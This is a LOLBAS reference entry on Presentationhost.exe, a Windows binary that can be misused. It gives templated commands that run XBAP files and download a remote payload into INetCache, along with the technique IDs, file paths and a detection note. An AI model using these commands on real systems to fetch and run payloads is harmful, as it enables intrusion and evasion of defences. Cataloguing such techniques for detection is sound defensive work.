LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Presentationhost.exe

View source

File is used for executing Browser applications

ExecuteDownload
02COMMAND EXAMPLES
02ATT&CK TECHNIQUES
02DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

2 examples

Execute1

EXAMPLE 01T1218

Executes the target XAML Browser Application (XBAP) file

COMMAND
Presentationhost.exe {PATH_ABSOLUTE:.xbap}
USE CASE
Execute code within XBAP files
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Execute · XBAP

Download1

EXAMPLE 01T1105

It will download a remote payload and place it in INetCache.

COMMAND
Presentationhost.exe {REMOTEURL}
USE CASE
Downloads payload from remote server
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Download · INetCache
02 / ON DISK

Known paths

C:\Windows\System32\Presentationhost.exe
C:\Windows\SysWOW64\Presentationhost.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

2 resources

Indicators & detection notes

  • IOC

    Execution of .xbap files may not be common on production workstations

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Casey Smith@subtee
Nir Chako (Pentera)@C_h4ck_0